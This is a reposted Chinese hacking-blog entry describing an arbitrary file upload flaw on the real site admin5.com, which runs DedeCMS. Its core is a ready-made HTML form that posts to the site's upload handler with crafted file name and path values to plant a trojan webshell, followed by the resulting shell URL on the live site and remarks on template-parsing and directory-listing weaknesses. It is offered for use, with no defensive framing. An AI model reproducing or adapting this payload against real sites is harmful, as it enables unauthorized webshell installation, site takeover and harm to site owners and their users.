记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

A5站长网任意文件上传

2013-04-24 13:35
首先注册个会员,然后。。

<form target="_blank" action="http://www.admin5.com/include/dialog/select_soft_post.php" method="post" enctype="multipart/form-data" name="QuickSearch" id="QuickSearch">
<input type="text" name="newname" value="mytag-999.htm">
<input type="text" name="activepath" value="/data/cache">
<input type="file" name="uploadfile">
<input type="submit" value="搜索" name="QuickSearchBtn">
</form>

上传一个zip后辍的木马文本

shell 地址:http://www.admin5.com/plus/mytag_js.php?aid=999

其实过程还是有一些,就是能上传目录不能执行,能执行目录不能上传,还好dede还有模板解释漏洞。。。
其实这还存在列目录问题。。。
这程序是DEDE,是自己改错了吧?

\\

知识来源: www.2cto.com/Article/201304/205545.html

阅读:70515 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“A5站长网任意文件上传”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云